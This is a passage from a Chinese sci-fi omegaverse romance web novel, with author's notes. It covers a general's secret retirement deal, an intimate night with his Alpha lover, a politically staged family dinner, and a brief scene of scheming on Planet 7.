这一顿饭吃的甜蜜又温柔，裴简珩一直哄着闻铮多吃点，闻上将不想吃了他还要撒娇，在闻上将身上摸｜来｜摸｜去威逼利诱撒娇诱哄，强势与温柔混杂，还带着几分绿茶，着实让闻铮很难拒绝。 等到吃完，天色也晚了。 高科技的发展就是让人完全不需要为了谁洗碗而争吵，家政机器人在五分钟之内就会吭哧吭哧干完。 裴简珩和闻铮陷进了沙发里，他把自己的Omega搂在怀里，两个人有一搭没一搭地聊天。 闻铮把刚刚军部最高会议上发生的事三言两语地和裴简珩说了，冷笑一声：“段和华还真是，这么急着要搞我，我估计是段洄和他说了什么。” 裴简珩也颔首：“虽然不知道他们为什么选择7号星作为宣战的阵地，但从结果来看，只要段家发现了您在那边，他们肯定会产生忧虑。” “我大概能猜到为什么是7号星。” 闻铮其实已经想了很久这个问题了，他正好也需要一个聪明又默契的人可以和他进行讨论和碰撞，于是把自己的猜想慢慢地说给裴简珩听：“首先，洛河星系是联邦最偏远的星系，7号星更是联邦辖区内距离德瓦帝国最近的星球，地理位置上就有一定被选择的优势。” 裴简珩顺着他的话往下想：“其次，7号星曾经被德瓦帝国殖民过很长一段时间，经济和科技发展都更为落后，就算出了什么问题……说句难听的，哪怕联邦把它战略性放弃了，对联邦也没有什么太大的影响。” “此外……”闻铮突然想到了什么，“当时艾德莱斯上将和我做这个交易的时候，特别指名7号星，我怀疑他和星际联邦主席得知了那个星球上的什么情报。” “说到这个。” 裴简珩坐直，把闻铮的肩膀拗过来看着自己：“您三年前到底为什么宣布退役？和我父亲的交易又是怎么回事？” 闻铮凝视着他那双湛蓝色的眼睛，半晌才轻轻叹了口气。 “战争结束，我一直绷着的那根弦也松开了，所以我陷入了迷茫。” 战争和死亡会让人思考一切存在的意义，而西线保卫战的惨烈又对闻铮产生了巨大的影响。他无法从心里认可自己是所谓的战争英雄，这个荣誉背后是被无数鲜血和尸体堆叠起来的，他不安心。 “我和你父亲聊过，也表达了我想离开星舰军部的想法。”闻铮垂着眼，浓密的眼睫像小扇子，让他整个人看起来有一点脆弱，“尤其是我父母的死依然没有找到线索，我不会放弃的。但我不能作为联邦上将再去追查德瓦人，一不小心，我就会破坏这来之不易的和平。” “但艾德莱斯给了我第二个选择。” 他的导师和好友对他说，联邦没有进入真正的和平，德瓦帝国总有一天会卷土再来，到时候联邦依然需要闻铮。 即便是签订了短期和平条约的那时，德瓦帝国也在做很多小动作，他和星际联邦主席都察觉到了，只是如何去应对，还没有一个定论。 正好闻铮也有这样的想法，艾德莱斯也有这样的需求，于是一个交易应运而生。 闻铮在万众瞩目的荣耀中高调退役，任谁来看都要说这位第三军团之刃和联邦军部撕破了脸，德瓦帝国当然也会这么想，否则谁会放弃唾手可得的荣耀和地位一走了之？所以他们很多因为忌惮而转为地下的活动，有可能都会慢慢放松警惕。 而于此同时，闻铮也隐姓埋名，回到了7号星。一方面追查父母死亡的真相，另一方面也顺藤摸瓜地去追查德瓦帝国到底在干些什么。 为期五年。 五年一到，不管事情如何，闻铮都要回到星舰军部来。 这个期限则是艾德莱斯上将的私心，说到底，他也已经算大半个政客了。为了稳固主和派的地位，他需要闻铮继续做他的一张王牌，五年是他能给出的最长时间。 只是没想到，刚刚三年，德瓦帝国和主战派就已经忍不住了。 “某种意义上，”闻铮轻声说，“我离开的两个目的倒是也都达到了。” 他知道了沈亦映和闻衡之殉职的真相，他一定会把奥克斯·奴瓦辛戈剥皮削骨； 同样的，他也查到了德瓦帝国的两大阴谋，激进派的基因战士和保守派的基因退化，还顺带把源代码拿了回来，以及将德瓦哨兵研究的最成功的智能融合体也一起带走了。 阴差阳错之下，手里的牌竟然也不少。 只是现在看来，除了外患，内忧也不可忽视。 闻铮的一双眼睛在昏黄的灯光下亮的出奇，只是眼底的疲惫和怅然也无处遁形。 他摸索着将五指嵌入裴简珩的手里，喃喃：“我希望这一切都能有个彻底的了结。” 太累了。 最后三个字他咽了回去，不想给自己的爱人太大的压力，他知道裴简珩对他的爱意有多磅礴，他不愿意让他再为自己担心。 只是他不说，不代表裴简珩就不知道。 一个温热的吻，不含情|欲地落在了闻铮的额头上。 裴简珩轻声说：“会的。等到一切都结束的那一天，我们开着破晓号去探索无边的宇宙，没有战争和死亡，只有新的世界和新的未来。” “而我会一直陪着您，”裴简珩的声音温柔又坚定，“直到我们能到达最远的宇宙尽头。”—— 作者有话说：闻哥退役的真相揭开[加油] 其实已经有宝宝猜到啦，确实是一场大戏，所有人都可以得到自己想要的[星星眼] 闻哥：我要离职 艾德莱斯：别啊，好商量，停薪留职你去休假吧[合十] 第142章 好印象 饱暖思淫|欲|, 两个人又开始胡搞，从沙发到卫生间再到卧室，阳台和落地窗前也都没放过, 闻铮骂裴简珩是狗一点都没骂错, 他在踏入了闻铮的地盘以后就开始到处标记自己的气味，好像这样才能让他安心。 胡闹到很晚, 一对爱侣才又四肢交缠着沉沉睡去。 只是裴简珩突然惊醒了。 他微微抬眼，就知道自己为什么醒了。他把闻铮按在落地窗上的时候窗帘没拉, 裴简珩的五感较常人更为敏锐，是被月光晃醒的。 他的目光从窗户落回到怀里的闻铮身上, 他的Omega正蜷在他的臂弯里，那张苍白瘦削的脸上还带着几分余韵的薄红, 他知道是为什么, 因为哪怕此刻, 他们也正在紧密相连。 闻铮的脸好小, 只有巴掌大, 陷在他墨黑的头发里，宛如一个精致漂亮的瓷器, 脆弱又勾人。 裴简珩就这么凝视着他，恨不得把他揣在兜里捧在手上, 或者干脆融进自己的心脏里，这样就可以永远在一起，永远都不分离。 他珍而重之地在闻铮额头上落下一个吻，闻铮不堪其扰，皱着眉侧过脸，反而又更加深入地埋进了裴简珩的胸前，那种依赖和信任一览无遗。 裴简珩伸手摸了摸他后颈那块紫黑色的疤痕, 湛蓝色的眼底有些怅然和痛苦。 他没办法永久标记闻铮。 不管他们互相有多深爱彼此，不管他们做了多少次。也不管裴简珩灌进去了多少，他都不能让这个Omega完完全全、永永远远地属于他。 甚至他们做得已经这么狠了，裴简珩的信息素都只能在闻铮身上留存48小时，如果洗个澡，再粘上伪装贴，就更几不可闻了。 裴简珩更用力地把闻铮搂进怀里，紧到黑发Omega都有点呼吸不畅。 无论如何，他们经历了这么多才能在一起，谁也别想再把他们分开。 在昏暗的房间里，裴简珩那双湛蓝色的眼睛在这一刻变得深蓝，那些偏执、强势、占有欲展露无疑，将平日里呈现出的温和有礼吞噬殆尽。 …… 闻铮迷迷糊糊地睁开眼睛，身边已经空了，为了不让他感觉冰冷，裴简珩不知道从哪里搞来了一只很大的狗狗玩偶，代替自己塞进了被窝。 闻上将一睁眼睛看到这个东西，还以为裴简珩人种变异。 缓了三秒才反应过来，啼笑皆非。 他伸出修长的手指沿着狗狗玩偶的轮廓一路滑下来，闻铮低笑：“……都是从哪儿搞来的。” 围裙也好，玩偶也好，这些东西他家里可没有。 估计是这位年轻的Alpha爱人鼓捣物质复制机弄出来的，但不得不说，确实给他冷冰冰的家里增添了几丝温暖。 如果没有战争，没有仇恨，往后几十年都和这个人这样生活下去，那该是多幸福的一件事。 闻铮翻身下床，饶是他这种强悍的体能，在接触到地面的时候也不禁双腿一软，差点跪坐到地上。 基因战士的体能真是作弊…… 还是说自己真的也已经岁数大了，不中用了？ 闻铮好笑地摇摇头，撑起身子去晨起洗漱。 等他踏出卧室的时候，整个公寓里又飘散着煎蛋和烤面包的香气。 闻铮作为一个食欲极低的人，在这瞬间居然也被这个香味勾得饿了。 果不其然，裴简珩又端着一盘全餐餐盘出来，笑眯眯地对他打招呼：“早啊闻哥！” 他又把那件围裙穿上了，只是穿得不正经，睡衣的领子还零落地开着，锁骨和胸肌隐约可见，外面套了个围裙，反而让人更加清楚地看到了他的好身材。 到底是在勾引谁…… 闻铮眯起眼睛：“大早上的，你精力是真的旺盛。” “谁知道这种生活还能过几天，”裴简珩道，“有机会我当然就要好好照顾您。” 闻铮被他说的心软，凑过去就交换了一个甜蜜的早安吻。 吃早餐的时候，闻铮漫不经心地说：“你也该回家看看了，你应该很久没回去了吧。” “嗯，”裴简珩随口说，“也就这么四个多月而已，之前我出任务也都不是长期任务，时不时还是能回家看看的。再说了，我哥还在首都星，有他陪着，没什么大事。” 闻铮倒是来了兴趣：“说起来，虽然我和艾德莱斯上将认识了十几年，但我从来没见过他的家人们。” “你们认识的这十几年，都在打仗。”裴简珩叹气，“战争时期，除非正在服役，不然所有高级军官的家人都是要被统一照看的，以免被挟持利用。” ……也是。 这个道理闻铮是知道的，他只是有点遗憾，如果他和裴简珩能早点认识，是不是会少走一些弯路呢。 手腕通讯突然响了一声。 闻铮低头看去，裴简珩随口一问：“谁啊，大早上发消息。” 闻上将说：“你爸。” 裴简珩：“……” 招人烦。 闻铮一边吃煎蛋，一边看着艾德莱斯发来的确认消息，漫不经心道：“艾德莱斯上将邀请我去你们家里吃饭。” 裴简珩一怔：“什么时候？” 闻铮：“今天。” 裴简珩：“？” 我不是这个家里的一份子吗，怎么没人通知我。 他打开了自己的通讯，关掉免打扰模式，果然未读消息像轰炸一样涌了出来。 闻铮看着这一幕，有些无语：“你还敢开免打扰模式，也不怕有急事找你。” “有什么急事，我不是和我的长官在一起吗？”裴简珩对他眨眼，“我只听从我上级长官的命令。” 闻铮拿餐盘里的小番茄丢他：“贫。” 裴简珩接住小番茄，丢到了自己的嘴里，挺甜。 果然，通讯里有艾德莱斯和裴又青的信息，还有他哥霍曼的。 霍曼显然还没有被同步相关的信息，发来的消息是这样的。 ——“简珩，听说你回首都星了？晚上父亲邀请了闻铮上将来家里共进晚餐，你早点回来准备一下，给这位传奇上将留一个好印象。” 好印象。 裴简珩抬眼看向对面的闻铮，这位传奇上将穿着松松垮垮的白衬衫，有一搭没一搭地吃着早饭，他的神色带着信任和放松，颈间还有裴简珩失控印上去的痕迹，一路蜿蜒向下，只有裴简珩知道在衣服掩盖的地方，还有多少不可言说的爱|痕与情难自抑的手印。 闻铮注意到了他的眼神，微微挑眉：“怎么了，你家人说什么？” 裴简珩笑：“让我给您留一个好印象。” 闻铮闻言失笑，懒懒道：“现在临时抱佛脚已经晚了，你以下犯上，我要罚你关禁闭的。” “啊，那怎么办。”裴简珩也顺着他说，“那我只能更加努力好好表现，争取早日出小黑屋了。” 两人都笑了起来。 笑过之后，闻铮收起脸上的弧度，沉默了半晌，方才道：“你……打算和你家里说吗？” 裴简珩知道他在说什么，也收起了笑容：“如果您问我，我是一定要说的，但我还是想询问您的想法。” “我的想法已经不重要了。” 闻铮缓缓摇头，这个事情他已经想过了，说出来的一瞬间却比他想象中的更难：“我是伪装成Alpha进入星舰军部的，如果Omega的身份泄露，我会上军事法庭——” “您在说什么……” 裴简珩打断了他，眉头紧紧皱起：“我怎么可能会让您Omega的身份泄露？就算是和家人宣布我们的关系，我也绝不可能提及您身份的只言片语！” “我知道你不会。”闻铮沉默了一下，方才慢慢道，“但这样对你也许并不公平。” 裴简珩心里一软，年轻的Alpha伸手摸上了他的脸，声音很低很温柔：“闻哥，我很早就说过了，只要和您在一起，别的一切都不重要。” 闻铮不想承认，但他在这个瞬间确实心里一酸，险些落下泪来。 …… 洛河星系，7号星 深夜，一个颀长的身影匆匆忙忙地赶到蓟梨河边，距离约定的时间还有一分钟，他却没有看到其他人影，也没有任何悬浮车停在周围。 还有三十秒的时候，他的眼前蓦地出现了一个全息立体投影。 林瑜淞微微皱眉：“你不在7号星？” 黑色覆面人不置可否：“我有其他的事情要做，你这边怎么样了，是在按照计划推进吗？” 林瑜淞嗯了一声：“拜你所赐，段洄被抓回了首都星，7号星陷入了一片混乱。我已经和闻哥聊过了，果不其然，他的言外之意是让我帮助江悦上位。” 覆面人嗬嗬笑了两声：“你们这位闻指挥官，倒是命大，破晓号的空间迁跃失灵都没能要了他的命，不愧是第三军团之刃，是有两把刷子在的。” 林瑜淞眉心一跳：“你说什么？” “别装了，”覆面人道，“他都回联邦首都星去了，身份也没什么好掩盖的了，已经跟你们坦白了吧，你还在我面前装什么呢？” “我是在惊讶你怎么会知道。”林瑜淞的面色很平静，“我们都是前几天才知道的，你呢？” “这就不劳你操心了。”覆面人避而不谈，只是说，“你现在要做的就是按照计划继续执行，江悦那个小姑娘，是很有潜力，但也不过就是一个基因劣等的艾尼默人，你把她控制成傀儡没有什么难度。” 在他看不到的地方，林瑜淞右手的指甲嵌进了手心，面上却一如往常：“这个你不用担心，现在7号星但凡有点门路的人类议员都在想办法离开这里，江悦的上位不会有什么阻碍。” “但我有一个问题。”林瑜淞的眼睛在眼镜背后忽明忽暗：“等7号星落入了我的手中，你到底要我帮你做什么？” 覆面人的声音变得愉快起来，显然事情在按照他的设想发展让他很高兴：“不用担心，我只要一个东西。” “——蓟梨草。”—— 作者有话说：小裴：[加油][加油]带老婆回家（不是 第143章 你在利用他 五星上将府邸位于首都星最繁华的地方, 寸土寸金，地面和高空全部布有最高等级的安保，甚至就连地下都有常人想象不到的安全措施。 艾德莱斯上将作为联邦军部目前军衔最高的话事人, 在获得这个职位的时候就搬进了这里, 不过裴又青和他的两个儿子不怎么住在这里，不自由。 其他将官级军官的住所会严密地隐藏起来, 而五星上将是联邦军部的象征，象征是不可能躲藏起来的, 活靶子也是这个岗位必须要承担的一部分责任。 不过今天，很明显五星上将府邸变得热闹了起来, 三个家居AI全部出动，机器人忙得引擎乱转, 服务人员也忙得脚不沾地, 不知道还以为艾德莱斯上将要在家里举办大型酒会, 但实则只是为了迎接那么一个人。 裴简珩踏进家里的时候, 着实也被这个场面震住了。 甚至没人有功夫搭理他, 家里的管家最多就是路过的时候对好几个月没回家的少爷打个招呼，分不出心多说几句。 裴简珩：“……” 今晚到底是什么饭啊？ 他无语地顺着楼梯走上二楼, 书房的门没关严，他从门缝里瞥到了艾德莱斯和裴又青好像在里面, 没多想什么就走过去推开了门：“父亲——” 门被推开的时候，艾德莱斯正把裴又青揽在怀里亲吻。 裴简珩：“……” 裴少将冷静道：“打扰了。” 老夫老妻倒是没有任何不好意思，裴又青从艾德莱斯怀里离开，顺手擦了擦嘴边，看见小儿子还是很欣喜的：“你回来啦，这快四个月跑哪里去了！” 裴又青五十岁刚出头，对于现在人类的寿命而言, 五十岁正值壮年，艾德莱斯沉稳矍铄，裴又青又比艾德莱斯要年轻十岁，看上去翩翩有礼，成熟温和。 他们两个人原本是被迫进行的匹配联姻，却莫名其妙地促成了一段人人称羡的爱情故事，现在星网上还有很多以他俩为原型的爱情小说和同人故事。 艾德莱斯倒是哼了一声：“还能跑哪里去，违抗我的命令去找闻铮了。” 裴简珩双手环胸，靠在门口开始耍赖：“你又没说那是命令，我就当你是随口一提了。” 艾德莱斯还要说什么，裴又青睨了他一眼：“要不是你从阿珩小时候就在他耳边絮絮叨叨闻铮有多好，他也不会对闻上将产生这么大的好奇和好感。再说了，闻上将对阿珩有救命之恩，阿珩去报答一下怎么了？” 二打一，五星上将投降。 “你去找闻铮的事我就不和你计较了，但有一件事是我明确给出的命令。”艾德莱斯面色微沉，“四年前UNK-322上发生的一切都是最高机密，闻铮的大脑记忆已经被封锁，你不允许和他提及任何相关的信息，否则他的生命安全会有极大的风险。” 裴简珩摸了摸鼻尖，避重就轻：“一会儿闻哥应该也会和你说具体的情况，但我只能说，我遵守了军部的命令，一个字都没有提。” 他哪里敢冒这个险啊，他都做好了让闻铮永远忘记那一段记忆，重头再来的准备了，谁能想到闻哥自己想起来了…… 艾德莱斯敏锐地察觉到了裴简珩话中有话，还没等他再追问，裴简珩就岔开了话题：“我刚进门看到楼下了，怎么这么大阵仗？我以为就是一起简单吃个晚饭。” 这句话一出来，艾德莱斯就开始头痛了。 他瞥了一眼裴又青，那意思是——问你爸。 裴又青轻咳一声，站直身体：“这是我们和闻上将的第一次正式见面，当然要尽可能地展现我们作为东道主的风范。” 裴简珩：“……” “那这也太夸张了一点吧，”裴简珩开始和他父亲一样头痛了，“你要开记者发布会啊？” 他本来只是吐槽一句，这句话一说出来，他脑海里某根弦突然动了一下，缓缓站直了身体：“……你们是故意做给公众看的。” 三年前闻铮毅然决然退役，在公众看来就是和联邦军部撕破了脸，尤其是和艾德莱斯五星上将撕破了脸。 如今战争的前音已经敲响，联邦民众都不同程度地陷入恐慌，需要一个精神支柱和定心针来抚慰他们，所以第三军团之刃的回归，必定要大张旗鼓宣告天下。 与此同时，那些揣测的声音也需要平息。 ——闻铮永远站在艾德莱斯五星上将的阵营里，不管是三年前还是现在。 而这样一场极度重视的晚宴，就是一个最恰当的方式。 裴简珩站直了身体，脸色唰的一下就阴沉了下来。 哪怕混杂了艾德莱斯的西方人种基因，他长得也更像裴又青，此刻面色冷肃的时候，却和艾德莱斯一模一样。 “你在利用他，”裴简珩一字一顿，毫不畏惧地直视着这个权势滔天的父亲，“利用闻哥达成你的政治目的。” 艾德莱斯并没有被自己的儿子冒犯到权威，相反，他的眼底闪过一丝欣慰。 从小，裴简珩和霍曼相比就温和很多。 霍曼简直像个炮仗，见谁都打，高傲冷峻，更像自己多一点。 裴简珩更像裴又青，谦逊有礼，温文尔雅，很少展现攻击性的一面。 只是他和裴又青谁也没想到，等这两个儿子长大以后，攻击性强的那一个却从了商，温柔沉稳那一个却毅然决然地加入星舰军校、参军、征战、咬着牙在军部里一步一步地往上爬，在不靠自己助力的前提下，年纪轻轻就当上了少将。 这时候再看，原来骨子里更像自己的人，竟然是裴简珩。 艾德莱斯几不可见地笑了一下，淡淡道：“你以为这个提议是谁发起的？” 裴简珩怔住。 他立刻明白了艾德莱斯的言外之意。 ——是闻铮！ ——闻铮主动站队，甚至是大张旗鼓地告诉所有联邦内部和外部的人，第三军团之刃不止回来了，甚至和艾德莱斯五星上将从未有过嫌隙，依然紧密相关。 裴简珩瞳孔震荡！ “他发消息给我，说希望可以共进晚餐。”艾德莱斯缓缓道，“我提议了一个隐秘性很好的餐厅，他却问是否方便来我家里，可以热闹一点。” 艾德莱斯在这个位置上几十年，再嗅不到闻铮的言外之意他也不用干了。 他确实认为闻铮是他有力的帮手，但也把闻铮视作他的好友、知己、甚至半个孩子，他不想让闻铮被所谓的恩情裹挟，连着确认了三次。 闻铮知道这意味着什么，却没有丝毫动摇。 这是他的恩师，也是他爱人的至亲，还有什么好犹豫的呢？ 装简珩心里一酸，他突然觉得一个小时好漫长，他现在就想见到闻哥，想抱他，想吻他，想在他耳边轻声呢喃自己有多幸运能爱他，又能被他这样爱着。 小儿子虽然不发一语，但脸上的表情却显然复杂很多，在他出神的时候，裴又青和艾德莱斯交换了一个眼神，双方心里都不禁有点奇怪，装简珩的表现是不是不太对劲啊？ 裴又青没有和闻铮本人接触过，更是有点迷惑，艾德莱斯却心里微沉，隐隐约约有一些不太好的感知。 他知道闻铮是怎样一个极具个人魅力的人，所有在他手下待过的、或者和他有过深度合作的军官，有一个算一个，不知道多少都被他折服。 Omega更是不用多说，光他听说的就有至少十几个军官家里的适龄Omega想和这位传奇闻上将有进一步发展。就连Alpha……也多得很。 只是闻铮一直都是那副冷冰冰的模样，拒人于千里之外，任谁也也不敢采取行动。 艾德莱斯甚至听办公室的几个秘书之前兴致勃勃地八卦过，悬空号上曾经的512个船员，全部都对他们的舰长又敬又爱，得有一半都为他折服，又有至少三分之一都在偷偷敬慕着他，不限人种，不限性别。 所以裴简珩的这个表现，让艾德莱斯心里产生了一丝不妙。 这小子…… …… 一小时后，一辆军部最高等级的上将专用悬浮商务车丝滑地驶入了五星上将府邸花园中。 带着白色手套的军官打开驾驶座下车——上将级别连司机的配置都至少要是中校军衔——尊敬地拉开了悬浮车后座的门。 一双漆黑的皮鞋轻轻落在地上，随后探出来的瘦削人影，席卷了所有人的目光，外围站着一圈收到消息的媒体，更是近乎贪婪地获取着能带来无限热度和话题度的照片与视频。 闻铮神色平静，看上去和三年前授勋仪式上并没什么区别。那张脸依然美得惊心动魄，轮廓锋利神色冷峻，那双漆黑如夜的眼底深处却较之三年前多了几分柔软与温和。 裴简珩站在艾德莱斯和裴又青身后，遥遥地凝视着闻铮，他眼底的迷恋和爱意不再试图掩饰，肆无忌惮地落在他这位联邦最强的Omega身上。 ……闻哥今天没有穿军装，而是穿了一身高级定制的黑色西装，修身笔挺，暗红色的领带上还夹着一个四芒星的小小领带夹，四芒星的中心是一块珍稀的蓝星之钻，那是自己送给他的小礼物。 闻铮那双黑色的眼睛扫过来的时候，裴简珩的心都漏跳一拍。 在媒体和记者的镜头下，闻铮对艾德莱斯和裴又青温和地弯起了眼睛：“艾德莱斯五星上将，裴先生，多谢你们的邀请。” 艾德莱斯也回以颔首，示意闻铮和自己一同进入上将府邸：“也感谢闻上将的莅临。” 媒体在疯狂抓拍。 一个是连续二十多年担任联邦最高军衔的五星上将，一个是联邦冉冉升起的最强战神，曾经所有人都以为他们撕破了脸，如今却又仿佛毫无嫌隙，对于普通的联邦民众来说，闻铮的回归与和艾德莱斯的联手，无疑给现在面对第三次星际战争的他们打了一针强心剂！ 就在这位联邦最年轻的四星上将路过裴简珩的时候，他的目光仍然直视前方，微微侧向右方正在和艾德莱斯低声聊着什么，而他的左手却貌若无意地滑过了裴简珩的手背，宛如一只小小的蝴蝶掠过。 裴简珩一怔。 反应过来后，他望着闻铮的侧脸，心跳声咚咚咚，震耳欲聋。 第144章 简珩很好 闻铮踏进了五星上将府邸后, 气氛稍微没那么正式了。 虽然府邸内部金碧辉煌，毫无人气，但不再有那么多的目光紧紧跟着, 所有人都还是轻轻松了口气。 艾德莱斯上将领着闻铮前往主餐厅, 唇边带着微微的笑意：“抱歉，这么久了才带你认识我的家人。” 闻铮当然不会觉得有什么, 艾德莱斯的身份和地位决定了他有很多事情都身不由己，甚至闻铮怀疑, 过去的十几年，就连艾德莱斯自己都不见得和家人好好地团聚过几次。 艾德莱斯和裴又青在主位入座, 霍曼和裴简珩坐在了他的右下手边，闻铮坐在了他的左下手位。 前菜一道一道地端上来, 也有管家躬身为他们的杯中倒上昂贵的酒。 闻铮扫了一眼高脚杯中晶莹剔透的白葡萄酒, 又很快地扫了一眼坐在他对面的裴简珩。 比起红酒, 他更喜欢白葡萄酒, 这件事只有裴简珩知道。 脚趾头想也知道, 这次的酒是谁准备的。 闻铮几不可见地笑了一下，虽然转瞬即逝, 但那个明显和平时完全不一样的笑容还是被裴又青捕捉到了。 他从见到闻铮的第一眼就很惊讶，这位联邦历史上最年轻的四星上将本人更是卓绝出尘, 和他的名字一样，宛如一柄出鞘的利刃，铮然不可挡。 三年前那场授勋仪式他也看了，虽然只有一分钟，闻铮也只说了一句话，那个时候他就对闻铮的印象很深刻，很少有Alpha会有这么一张比Omega还漂亮的脸。 今天亲眼一看, 竟然比镜头前还尤甚。 更别说刚刚闻铮还低头浅笑了一瞬，更是宛如冬日间冰雪消融，让人过目难忘。 裴又青举起了酒杯：“初次见面，闻上将比传说中还要令人印象深刻。” 闻铮也看向了这位商业奇才。 裴又青是S级Omega，否则也不会和S级的艾德莱斯联姻。他长相温和大气，眉眼间没有艾德莱斯那种刀削斧凿般的深邃，但看久了让人很舒服。 ……就和裴简珩给人的感觉一样，在情绪稳定的时候像一汪温暖宁静的春泉。 看来裴简珩还是像裴又青多一点，除了眉眼间有着艾德莱斯人种的立体，但那种包容温柔，和裴又青如出一辙。 但他生气的时候，闻铮在知道他身份之后回头去想，还真和艾德莱斯一模一样。 闻铮把自己飘远的思绪拉回来，还没等他说什么，裴又青接着含笑道：“我听艾德莱斯说，阿珩这段时间去缠着你了，给闻上将添麻烦了。” 阿珩。 这两个字让闻铮忍不住心里软了一下，他也笑了，颊边的小梨涡分外明显：“没有的事，简珩很好，帮了我很多忙。” 某只类人大狗立刻竖起耳朵，就差摇尾巴了。 “……除了隐瞒身份以外。”闻铮悠悠地补充。 裴简珩：“……” 好记仇啊闻哥。 裴又青闻言也摇头：“我真是一点都不奇怪，阿珩从小就这样，不喜欢把自己家里的情况在外面说，好像是我们的儿子让他很丢脸一样。” 裴简珩：“……父亲。” 他的声音里带了几分埋怨。 餐桌上所有人都笑起来。 包括闻铮。 在这个瞬间，他才真正地确定，这一家人的关系是真的很亲密。 裴简珩，确实是一个从小就在爱里长大的人，所以他才能如此勇敢地追求爱，散播爱，才能毫不吝啬地将一颗心和所有爱都捧在手上交给自己。 闻铮也举起了酒杯，和裴又青轻轻地碰了一下，清脆的敲击声很好听：“多谢裴先生。” 能把裴简珩带到这个世界上，自己才能有幸遇见他。 艾德莱斯也跟着喝了一口酒，微微眯起眼：“闻上将，你这三年一直在洛河星系7号星，有发现德瓦帝国的动向吗？” 闻铮道：“太多了。” 基因退化与蓟梨草、基因战士与源代码、智能融合体、B-356、Annihilation……这两个小时都说不完。 并且很多敏感信息，也不适合在餐桌上说。 艾德莱斯知道闻铮的言外之意，他也就没有再追问，而是转而介绍了自己的另一个儿子：“这是我的大儿子，霍曼·艾德莱斯。” 霍曼则是完完全全继承了艾德莱斯的容貌特点，简直就是艾德莱斯年轻二十多岁的样子，高大俊朗，眉目深邃，一点裴又青的温润都看不出来，只有那双眼睛是继承了裴又青的棕色。 闻铮对他微笑，举了举杯。 霍曼也递出了自己的高脚杯，在闻铮杯口的下方和他轻轻碰了一下。 他和裴简珩是从小就听着闻铮的事迹长大的，自从艾德莱斯有一次回家以“我在军队里遇到了一个很有趣的小朋友”为开场，从此的十几年里，他们不停地听到有关闻铮的事，从他的事迹到他的人品，以至于他们虽然从没真正见过闻上将本人，却早已经在心里有了一个模模糊糊的身影。 霍曼笑：“百闻不如一见。” 他啄了口酒，瞥了一眼身边的弟弟。 裴简珩那双湛蓝色的眼睛亮亮的，看向闻铮的眼神像看着一份宝藏。 霍曼的动作顿了一下，这眼神……对劲吗？ 一顿饭倒是吃的宾主尽欢，只是在融洽的背后，每个人的心底思虑的却都还不尽相同。 艾德莱斯在思考闻铮刚刚提到的“太多了”，对德瓦帝国在这背后到底都做了什么十分疑虑； 裴又青敏锐地察觉到了一丝不对劲，从刚刚在书房里裴简珩的表现，再到餐桌上他对闻铮格外的照顾——给他夹菜，给他倒酒，闻铮没吃几口就放下了刀叉，裴简珩作为他的下属，甚至还不满地瞪了他一眼！结果这位闻上将还真的又拿起餐具继续吃了一些！ ……稍等啊。 裴又青都五十多了，和艾德莱斯婚后的这几十年虽然因为战争也聚少离多，但他是从小在爱里长大的人，甚至裴简珩和霍曼感知爱和付出爱的能力就是从他身上而来，他又怎么会看不出来这里面的猫腻？ 他的眼神在自己儿子和闻铮之间隐晦地扫来扫去，一颗心坠了下去。 裴简珩很明显对闻铮已经陷进去了，但这柄一往无前的锋利之刃，真的会为他驻足吗？ 另一边，艾德莱斯现在对闻铮来说不再只是单纯的知己好友或人生导师，毕竟自己和他儿子已经搞到了一起。也许艾德莱斯、裴又青和霍曼只把这顿晚餐当成一次对客宴请，闻铮自己心里却很清楚，这对他来说，意义非凡。 在晚餐结束之后，艾德莱斯邀请闻铮去书房详谈，闻上将欣然前往。 裴简珩看了一下时间，轻描淡写道：“父亲，这一路上发生了很多事情，您和闻哥估计要聊很久。现在已经不早了，不如邀请闻哥今晚就在家里留宿吧？” 裴又青：“……” 他张了张嘴，一时之间竟然不知道说什么。 艾德莱斯却不疑有他，甚至觉得自己小儿子果然沉稳周到，欣然应允。 闻铮听到这个提议也是一怔，他的目光扫过裴简珩，只得到了自己的Alpha一个无辜纯良的眼神。 既然艾德莱斯已经同意了，裴又青自然也不能说什么，他笑了一下：“我去找人为闻上将收拾一下客房。” 裴简珩很自然地接话：“我来吧。” 裴又青：“……” 你还真是热情啊儿子。 艾德莱斯和闻铮去了书房商讨，裴简珩上楼去联系家居AI和管家，裴又青站在原地，一把拉住了原本也要回房间的大儿子：“霍曼，你有没有觉得哪里不对劲？” 霍曼不知道他在问什么方面，一愣：“什么不对劲？” 裴又青面上终于流露出了几分疑虑：“你和阿珩从小关系就很紧密，有没有发现过……” 裴又青顿了一下，低声缓缓道：“……他是AA恋啊？” 霍曼：“……” 霍曼：“？” 霍曼：“？？？” 艾德莱斯家大公子顿感头晕脑胀。 …… 书房内 艾德莱斯示意闻铮在那个看上去就很舒服的扶手椅上坐下：“抱歉，昨天那场最高会议让你成为了众矢之的。” 闻铮摆摆手：“这是意料之中的事，您和段和华现在的关系似乎比三年前还要紧张。” 最高会议上，段和华对闻铮的发难，四成是针对闻铮，六成其实是冲着他背后的艾德莱斯来的，闻铮怎么会看不清楚。 艾德莱斯也坐到了书桌背后，摇摇头：“老段啊……他还是没有放下执念，我眼见着他在这条路上越走越远了。” 艾德莱斯和段和华在星舰军校相识后成为好友、随后一起到军部底层往上爬、再到如今伫立顶端分庭抗礼，不知不觉，四十年也就这样过去了。 “我能理解他对德瓦帝国深入骨髓的恨，”艾德莱斯道，“但他让个人的意志凌驾在太多东西之上了。” 闻铮察觉到他话里的意味，有些疑惑：“段上将是——” 艾德莱斯转而提起了一段已经尘封许久的过往：“当年在星舰军校的时候，我、老段、还有另一位Beta沈河，关系很近，我和老段在指挥学院，沈河在战术学院，我们都是那一届各自学院的出类拔萃的苗子。” “后来他们突然告诉我，他们在一起了。”艾德莱斯想到那时的他们，还是忍不住怀念地笑了笑，“在晴天霹雳之后，我也真诚地祝福他们。” “为了和沈河结婚，老段和段家抗争了很久，直到他在军部站稳脚跟，第一件事就是举办婚礼。” 艾德莱斯缓缓道：“我认识老段四十年，那是他笑得最开心的一天。” “段洄出生后一年，战争爆发，所有在役军官，悉数奔赴前线。” 一声叹息在书房中轻轻响起。 “沈河所在的裂云号被德瓦哨兵打碎，裂云号上所有军官都被德瓦哨兵俘虏。” 闻铮的心在这里猛地一沉。 “沈河性子坚韧刚毅，他是代表了联邦的战士，他绝不屈服。”艾德莱斯沉默了一下，方才道，“德瓦哨兵分食了他，什么都没给老段留下。”—— 作者有话说：感谢34402499、睡不醒醒和苏怿清的营养液！ 掉落白葡萄酒x1！（未成年自动换橙汁[星星眼] 第145章 好好休息，小铮 